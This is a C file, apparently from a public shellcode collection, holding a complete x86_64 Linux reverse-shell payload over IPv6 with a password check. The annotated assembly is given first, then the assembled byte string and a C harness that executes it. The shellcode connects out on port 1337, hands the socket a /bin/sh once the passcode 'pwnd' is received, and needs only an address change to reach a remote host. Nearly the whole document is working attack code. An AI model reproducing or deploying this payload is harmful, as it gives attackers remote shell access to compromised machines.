115 lines
No EOL
2.3 KiB
C
115 lines
No EOL
2.3 KiB
C
/*
|
|
; Title : Reverse Shell (IPv6) with Password - Shellcode
|
|
; Author : Hashim Jawad @ihack4falafel
|
|
; OS : Linux kali 4.15.0-kali2-amd64 #1 SMP Debian 4.15.11-1kali1 (2018-03-21) x86_64 GNU/Linux
|
|
; Arch : x86_64
|
|
; Size : 115 bytes
|
|
|
|
section .text
|
|
|
|
global _start
|
|
|
|
_start:
|
|
|
|
; int socket(int domain, int type, int protocol)
|
|
; rax=41, rdi=10, rsi=1, rdx=0
|
|
xor esi,esi
|
|
mul esi
|
|
inc esi
|
|
push 10
|
|
pop rdi
|
|
add al, 41
|
|
syscall
|
|
|
|
; save socket fd in rdi
|
|
xchg rbx,rax
|
|
|
|
; struct sockaddr_in6 struct
|
|
push rdx ; scope id = 0
|
|
mov rcx,0xFEFFFFFFFFFFFFFF ; link local address ::1
|
|
not rcx
|
|
push rcx
|
|
push rdx
|
|
push rdx ; sin6_flowinfo=0
|
|
push word 0x3905 ; port 1337
|
|
push word 10 ; sin6_family
|
|
|
|
; int connect(int sockfd, const struct sockaddr *addr,socklen_t addrlen)
|
|
; rax=42, rdi=rbx(fd), rsi=sockaddr_inet6, rdx=28 (length)
|
|
push rbx
|
|
pop rdi
|
|
push rsp
|
|
pop rsi
|
|
push 28
|
|
pop rdx
|
|
push 42
|
|
pop rax
|
|
syscall
|
|
|
|
; dup2 (new, old)
|
|
; rax=33, rdi=new fd, rsi=0,1,2 (stdin, stdout, stderr)
|
|
xchg rsi, rax
|
|
push 0x3
|
|
pop rsi
|
|
_loop:
|
|
push 0x21
|
|
pop rax
|
|
dec esi
|
|
syscall
|
|
loopnz _loop
|
|
|
|
; read (int fd, void *bf, size_t count)
|
|
; rax=0, rdi=0 (stdin), rsi=rsp, rdx=4 (pwnd)
|
|
xor rax, rax
|
|
push rax
|
|
pop rdi
|
|
push rax
|
|
push rsp
|
|
pop rsi
|
|
push 0x4
|
|
pop rdx
|
|
syscall
|
|
|
|
; check passcode (pwnd)
|
|
push 0x646e7770
|
|
pop rbx
|
|
cmp dword [rsi], ebx
|
|
jne _nop
|
|
|
|
; int execve(cont char *filename, char *const argv[], char *const envp[])
|
|
; rax=59, rdi=/bin//sh, rsi=0, rdx=0
|
|
xor rax, rax
|
|
push rax
|
|
mov rbx, 0x68732f2f6e69622f
|
|
push rbx
|
|
push rsp
|
|
pop rdi
|
|
push rax
|
|
push rsp
|
|
pop rsi
|
|
cdq
|
|
push 0x3b
|
|
pop rax
|
|
syscall
|
|
|
|
_nop:
|
|
nop
|
|
*/
|
|
|
|
#include<stdio.h>
|
|
#include<string.h>
|
|
|
|
|
|
unsigned char code[] = \
|
|
"\x31\xf6\xf7\xe6\xff\xc6\x6a\x0a\x5f\x04\x29\x0f\x05\x48\x93\x52\x48\xb9\xff\xff\xff\xff\xff\xff\xff\xfe\x48\xf7\xd1\x51\x52\x52\x66\x68\x05\x39\x66\x6a\x0a\x53\x5f\x54\x5e\x6a\x1c\x5a\x6a\x2a\x58\x0f\x05\x48\x96\x6a\x03\x5e\x6a\x21\x58\xff\xce\x0f\x05\xe0\xf7\x48\x31\xc0\x50\x5f\x50\x54\x5e\x6a\x04\x5a\x0f\x05\x68\x70\x77\x6e\x64\x5b\x39\x1e\x75\x1a\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\x50\x54\x5e\x99\x6a\x3b\x58\x0f\x05\x90";
|
|
|
|
main()
|
|
{
|
|
|
|
printf("Shellcode Length: %d\n", (int)strlen(code));
|
|
|
|
int (*ret)() = (int(*)())code;
|
|
|
|
ret();
|
|
|
|
} |